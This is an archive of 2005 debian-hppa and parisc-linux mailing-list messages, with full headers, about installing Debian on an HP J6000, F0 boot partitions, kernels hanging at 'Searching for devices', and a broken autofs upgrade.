List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu, 24 Feb 2005 22:08:44 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: sch1Kh5bTlIv47eQeGhrSVVGU2poZdn7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22375

Looks like things have changed since I first put Debian-hppa on my J6000. I
finally got 2.4.17-32 loaded and running after realizing that someone
changed things so that you no longer mount /boot at install, you just greate
a bootable f0 partition and the rest happens by magic, except, of course,
you have to change palo.conf to (in my case) point to 1/vmlinux instead of
1/boot/vmlinux. Next I made the mistake of loading 2.4.26-32-smp and, when I
finally got that to load (you have to point the recoverykernel to the
2.4.26-32-smp image too or otherwise it just keeps loading 2.4.17-32), I got
... "Searching for devices" again. Enough for one day!

-----Original Message-----
From: Harry Cochran [mailto:h.cochran@comcast.net]
Sent: Thursday, February 24, 2005 5:36 PM
To: parisc-linux@lists.parisc-linux.org; debian-hppa@lists.debian.org
Subject: Can't mount F0 partition as /BOOT


Hi,

	I am rebuilding my J6000. I boot from the official Debian hppa install cd,
partition the disks, making a nice 64MB F0 partition that I mark as
bootable, a swap partition and several Linux partitions, initialize the
swap, and then...

	I hit the button to initialze a disk and low and behold the boot partition
I set up is not among the partitions that pop up to be initialized. If I do
"View Paritions", there is sda1 and it's marked --Not Available--.

	I'm sure it's something simple, but I can't see what I'm doing wrong. Your
help will be appreciated.

Thanks,

Harry


--
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact
listmaster@lists.debian.org


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPPA autofs broken?
Date: Fri, 25 Feb 2005 06:36:28 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <e6eae029050224223617c7a121__23243.0461598144$1416623677$gmane$org@mail.gmail.com>
References: <FHEGKPBPFFGIFBGOANOKCENEEPAA.h.cochran@comcast.net>
	<Pine.LNX.4.43L0.0502241828350.14272-100000@charity.cs.utah.edu>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623677 12798 80.91.229.3 (22 Nov 2014 02:34:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Christopher Strong <strong@cs.utah.edu>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Feb 2005 06:36:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 25 Feb 2005 07:36:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFF9E7D62B;
	Thu, 24 Feb 2005 23:37:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23677-05; Thu, 24 Feb 2005 23:37:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E7DDC7D62E;
	Thu, 24 Feb 2005 23:37:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85F6D7D62A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Feb 2005 23:37:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23677-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Feb 2005 23:37:13 -0700 (MST)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.201])
	by free.linux.hp.com (Postfix) with ESMTP id B7BD27D629
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Feb 2005 23:37:13 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id 36so367998wra
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Feb 2005 22:36:28 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references;
	b=fwxYxGBFSmjuWV2qo6ix9j1b9sm3z5yPPV4O4y6j07FYD9wVoEz7U8MwJFyh2HXa43b856haAtq2BUeh+VyfECtR3ZVL0wYUjlrockZ0Mnt41MqLyC9QP+gIgdDW3EhnSKl2Qqei2Aly/DCS4mMpmI92r+Q8+7Mc+jDnmbQQzQc=
Original-Received: by 10.54.44.2 with SMTP id r2mr87907wrr;
	Thu, 24 Feb 2005 22:36:28 -0800 (PST)
Original-Received: by 10.54.57.13 with HTTP; Thu, 24 Feb 2005 22:36:28 -0800 (PST)
In-Reply-To: <Pine.LNX.4.43L0.0502241828350.14272-100000@charity.cs.utah.edu>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Gqt1KpxETlIv47eQeGhrSVVGU2poZdmO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22376

On Thu, 24 Feb 2005 18:39:51 -0700 (MST), Christopher Strong
<strong@cs.utah.edu> wrote:
> 
> I just upgraded my autofs (using apt-get upgrade) and autofs will no longer
> start.  I beat my head against it for a while, upgraded to the newest modutils,
> even tried the beta autofs packages but to no avail.
> 
> It *used* to work before the "upgrade" and I don't know if I have some errors
> in my config file (under the new version) or if there is a problem with the
> autofs package.

Autofs was broken in testing/unstable for quite a while (ie. months), it simply
didn't unmount. About a month ago they fixed it in testing, but it seems it's
*still* broken on parisc :(

I'm currently using the 'stable' release version of autofs on my Debian/testing
system for the time being - at least that one works for me.

Greetings,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Harry Cochran" <h.cochran@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Can't mount F0 partition as /BOOT
Date: Thu, 24 Feb 2005 17:36:19 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <FHEGKPBPFFGIFBGOANOKGENNEPAA.h.cochran__20954.466777812$1416623678$gmane$org@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623678 12804 80.91.229.3 (22 Nov 2014 02:34:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:38 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>,
 <debian-hppa@lists.debian.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Feb 2005 22:42:38 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx033) with SMTP; 24 Feb 2005 23:42:38 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 7DF272EC87; Thu, 24 Feb 2005 16:42:37 -0600 (CST)
Old-Return-Path: <h.cochran@comcast.net>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from rwcrmhc12.comcast.net (rwcrmhc12.comcast.net [216.148.227.85])
	by murphy.debian.org (Postfix) with ESMTP id A387F2DF4A
	for <debian-hppa@lists.debian.org>; Thu, 24 Feb 2005 16:42:31 -0600 (CST)
Original-Received: from bridgeman (h0002169c2280.ne.client2.attbi.com[24.218.38.88])
          by comcast.net (rwcrmhc12) with SMTP
          id <2005022422422901400hnccbe>; Thu, 24 Feb 2005 22:42:30 +0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-4.7 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <Zj_r1.A.QfE.dhlHCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4210
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu, 24 Feb 2005 16:42:37 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: PjR1KuFSTlIv47eQeGhrSVVGU2poZRkE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22377

Hi,

	I am rebuilding my J6000. I boot from the official Debian hppa install cd,
partition the disks, making a nice 64MB F0 partition that I mark as
bootable, a swap partition and several Linux partitions, initialize the
swap, and then...

	I hit the button to initialze a disk and low and behold the boot partition
I set up is not among the partitions that pop up to be initialized. If I do
"View Paritions", there is sda1 and it's marked --Not Available--.

	I'm sure it's something simple, but I can't see what I'm doing wrong. Your
help will be appreciated.

Thanks,

Harry


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can't mount F0 partition as /BOOT
Date: Thu, 24 Feb 2005 17:02:26 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <200502241702.26234.mszick@wolfbutter.com>
References: <FHEGKPBPFFGIFBGOANOKGENNEPAA.h.cochran@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623678 12812 80.91.229.3 (22 Nov 2014 02:34:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Feb 2005 23:03:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx066) with SMTP; 25 Feb 2005 00:03:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1908E7D62E;
	Thu, 24 Feb 2005 16:03:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22002-06; Thu, 24 Feb 2005 16:03:42 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B8187D629;
	Thu, 24 Feb 2005 16:03:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3409D7D626
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Feb 2005 16:03:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21643-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Feb 2005 16:03:37 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 9E6577D611
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Feb 2005 16:03:37 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j1ON2rfX029214 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Feb 2005 15:02:53 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [65.40.210.82] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id kzD1umZ5
	authenticated by SMTP; Thu, 24 Feb 2005 15:02:52 -0800 (PST)
User-Agent: KMail/1.7.1
In-Reply-To: <FHEGKPBPFFGIFBGOANOKGENNEPAA.h.cochran@comcast.net>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RDF1Kg8qTlIv47eQeGhrSVVGU2poZVnI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22378

On Thu February 24 2005 16:36, Harry Cochran wrote:
> Hi,
> 
>  I am rebuilding my J6000. I boot from the official Debian hppa install cd,
> partition the disks, making a nice 64MB F0 partition that I mark as
> bootable, a swap partition and several Linux partitions, initialize the
> swap, and then...
> 
>  I hit the button to initialze a disk and low and behold the boot partition
> I set up is not among the partitions that pop up to be initialized. If I do
> "View Paritions", there is sda1 and it's marked --Not Available--.
> 

That is correct, the F0 partition is only understood by PALO.
No need for other initialization than the 'F0' maker.


Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Strong <strong@cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: HPPA autofs broken?
Date: Thu, 24 Feb 2005 18:39:51 -0700 (MST)
Lines: 52
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43L0.0502241828350.14272-100000__36061.0135518529$1416623678$gmane$org@charity.cs.utah.edu>
References: <FHEGKPBPFFGIFBGOANOKCENEEPAA.h.cochran@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623678 12816 80.91.229.3 (22 Nov 2014 02:34:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 <debian-hppa@lists.debian.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Feb 2005 01:40:00 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx053) with SMTP; 25 Feb 2005 02:40:00 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 9AE9A2EEC1; Thu, 24 Feb 2005 19:39:58 -0600 (CST)
Old-Return-Path: <strong@cs.utah.edu>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail-svr1.cs.utah.edu (brahma.cs.utah.edu [155.98.64.200])
	by murphy.debian.org (Postfix) with ESMTP id B79DA2E9D7
	for <debian-hppa@lists.debian.org>; Thu, 24 Feb 2005 19:39:52 -0600 (CST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail-svr1.cs.utah.edu (Postfix) with ESMTP id F251F346EB;
	Thu, 24 Feb 2005 18:39:51 -0700 (MST)
Original-Received: from mail-svr1.cs.utah.edu ([127.0.0.1])
 by localhost (mail-svr1.cs.utah.edu [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id 13575-04; Thu, 24 Feb 2005 18:39:51 -0700 (MST)
Original-Received: from charity.cs.utah.edu (charity.cs.utah.edu [155.98.65.141])
	by mail-svr1.cs.utah.edu (Postfix) with ESMTP id A386D346E0;
	Thu, 24 Feb 2005 18:39:51 -0700 (MST)
Original-Received: by charity.cs.utah.edu (Postfix, from userid 4516)
	id 82BDD46C04; Thu, 24 Feb 2005 18:39:51 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by charity.cs.utah.edu (Postfix) with ESMTP id 7502546C03;
	Thu, 24 Feb 2005 18:39:51 -0700 (MST)
In-Reply-To: <FHEGKPBPFFGIFBGOANOKCENEEPAA.h.cochran@comcast.net>
X-Virus-Scanned: amavisd-new at cs.utah.edu
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-5.0 required=4.0 tests=LDOSUBSCRIBER autolearn=no 
	version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <2T0RYB.A.ZEB.uHoHCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4211
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu, 24 Feb 2005 19:39:58 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: kO11KiMsTlIv47eQeGhrSVVGU2poZVmu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22379


I just upgraded my autofs (using apt-get upgrade) and autofs will no longer
start.  I beat my head against it for a while, upgraded to the newest modutils,
even tried the beta autofs packages but to no avail.

It *used* to work before the "upgrade" and I don't know if I have some errors
in my config file (under the new version) or if there is a problem with the
autofs package.

Here are the errors I am getting:

==> daemon.log <==
Feb 24 18:25:15 trinsic automount[1152]: failed to load map, exiting
Feb 24 18:25:15 trinsic automount[1215]: failed to load map, exiting

I get the same errors in syslog and daemon.log, one error per entry in the
autofs.master file.

My auto.master file:

----------------------------------------

trinsic:~# cat /etc/auto.master
/home                    yp     auto_home       nfsvers=2
/uusoc/facility          yp     auto_facility   nfsvers=2
/uusoc/scratch           yp     auto_scratch

----------------------------------------

Seems fairly simple to me.  It's the one we run on all of our other Linux
boxes.

Any ideas?  I've spent a couple hours on it...found several issues and fixed
them, but nothing seems to help this problem.

I found debian bug 292981 on a similar topic:

http://lists.debian.org/debian-qa-packages/2004/12/msg00123.html

So I upgraded to the newest unstable package
(autofs_4.1.3+4.1.4beta2-3_hppa.deb), but it did not help.

-Chris




-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Harry Cochran" <h.cochran@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Anyone know where 2.4.26-pa5-32-smp is?
Date: Fri, 25 Feb 2005 12:26:53 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <FHEGKPBPFFGIFBGOANOKGEOFEPAA.h.cochran__14260.3595079438$1416623679$gmane$org@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623679 12817 80.91.229.3 (22 Nov 2014 02:34:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:39 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>,
 <debian-hppa@lists.debian.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Feb 2005 17:33:14 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx004) with SMTP; 25 Feb 2005 18:33:14 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id DEAFD2EA3B; Fri, 25 Feb 2005 11:33:12 -0600 (CST)
Old-Return-Path: <h.cochran@comcast.net>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from rwcrmhc13.comcast.net (rwcrmhc13.comcast.net [204.127.198.39])
	by murphy.debian.org (Postfix) with ESMTP id 207B02E28B
	for <debian-hppa@lists.debian.org>; Fri, 25 Feb 2005 11:33:06 -0600 (CST)
Original-Received: from bridgeman (h0002169c2280.ne.client2.attbi.com[24.218.38.88])
          by comcast.net (rwcrmhc13) with SMTP
          id <2005022517330401500l4vtde>; Fri, 25 Feb 2005 17:33:06 +0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-4.7 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <YOJwa.A.DXE.YF2HCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4215
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Fri, 25 Feb 2005 11:33:12 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: Og10Kgg5TlIv47eQeGhrSVVGU2poZRno
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22380

Hi,

	Before I began trying to upgrade kernel-image-2.4.26-pa5-32-smp, I had a
nice running system for many months. Now I can't find this kernel again and
kernel-image-2.4.26-32-smp on stable, unstable and testing dies during boot
on my J6000 at "Searching for devices" (bug# 269037). Does anyone know where
I can get kernel-image-2.4.26-pa5-32-smp? Of course, I'm ultimately hoping
to upgrade to 2.6, but I just wasted 4 days trying and I have to ship the
J6000 off soon.

Thanks,

Harry


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP model 612 hard disk not found
Date: Fri, 25 Feb 2005 12:14:15 -0600
Lines: 77
Approved: news@gmane.org
Message-ID: <200502251214.15993.mszick@wolfbutter.com>
References: <1109239065.30724.15.camel@base-06.geo.auth.gr>
	<200502240810.19228.mszick@wolfbutter.com>
	<1109322415.32547.5.camel@base-06.geo.auth.gr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
